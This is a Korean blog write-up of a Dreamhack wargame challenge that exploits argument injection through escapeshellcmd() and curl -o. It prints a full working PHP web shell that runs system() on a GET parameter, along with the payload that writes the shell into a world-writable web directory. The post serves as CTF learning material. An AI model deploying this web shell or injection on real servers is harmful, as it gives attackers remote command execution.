Iriton's log

[Dreamhack] Lv.1 Command Injection Advanced 본문

WebHacking/WarGame

[Dreamhack] Lv.1 Command Injection Advanced

Iriton 2023. 11. 21. 17:53

해당 웹 페이지는 http가 포함된 url의 데이터를 불러와서 출력한다.

 

소스코드를 살펴 보면 11번째 줄에서 http가 포함되었는지 확인을 한다.

포함되지 않았다면 문자를 띄우며 실행되지 않지만,

포함되었다면 shell_exec 함수를 이용하여 curl 명령어를 실행한다.

 

escapeshellcmd()란?

임의의 명령을 실행하기 위해 쉘 명령을 속일 때 쓰이는 문자열의 모든 문자를 escape 시킨다.

&#;`|*?~<>^()[]{}$\, \x0A  \xFF.

해당 문자 앞에 백슬래시를 넣어서 실행되지 않게 하는 것이다.

 

curl란?

URL 요청에 대한 응답을 출력하는 게 기본값.

Option

-o : 응답을 임의의 파일에 저장

등등

 

escape 함수에서는 하이픈(-)을 필터링하지 않을 뿐더러,

curl -o 명령어를 통해 flag의 데이터를 임의의 파일에 저장할 수 있다.

 

flag 파일을 다른 파일에 저장해야 하나? 싶었지만

구글링 한 결과 웹쉘 즉, 웹에서 쉘 코드를 실행할 수 있는 코드가 존재했다.

 

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
  if(isset($_GET['cmd']))
  {
      system($_GET['cmd']);
  }
?>
</pre>
</body>
</html>

해당 코드를 자기 깃허브에 올리면 된다.

레포지토리를 만들어서 php 파일을 올리고 raw 버튼을 누르면 코드만 있는 경로가 보인다.

 

해당 경로를 이용하여 dreamhack 문제 페이지에 업로드하면

문제 페이지 내에서 웹쉘을 실행할 수 있고,

해당 페이지가 관할하는 경로는 마음대로 실행할 수 있게 된다.

[raw 경로] -o /var/www/html/cache/[원하는 이름].php

로 업로드 해준다.

 

여기서 /var/www/html은 기본 경로라 꼭 기재해야 하고

굳이 cache에 웹쉘을 업로드 한 이유는 cache의 권한이 777으로 모든 권한을 주어졌기 때문이다.

따라서 웹쉘 파일을 write 가능한 것이다.

업로드 해 주면 경로가 뜨는데, 저걸 클릭하지 말고 직접 /cache/[생성한파일명]으로 접근하자.

 

그럼 위와 같이 쉘 명령어를 실행할 수 있는 칸이 뜬다.

ls로 현재 경로 상태를 보면 아무것도 없으니 cache가 아닌, ls / 으로 홈에 뭐가 있나 봤다.

flag가 있었다.

실행파일인지, 내가 실행할 수 있는 건지 확인하기 위해 -l 옵션을 추가해 줬다.

모든 사용자가 실행할 수 있다.

/ 경로에 있는 실행파일이기에 /flag 명령어를 입력하여서 실행했더니 flag가 출력됐다.

'WebHacking > WarGame' 카테고리의 다른 글

[Dreamhack] Beginner: Flying Chars  (0) 2024.05.01
[Dreamhack] Beginner: php7cmp4re  (0) 2024.05.01
[webhacking.kr] old-44 : command injection  (1) 2023.11.21
[Dreamhack] Lv.1 command-injection-chatgpt  (0) 2023.11.15
[Dreamhack] Lv.1 csrf - 1  (0) 2023.11.14
Comments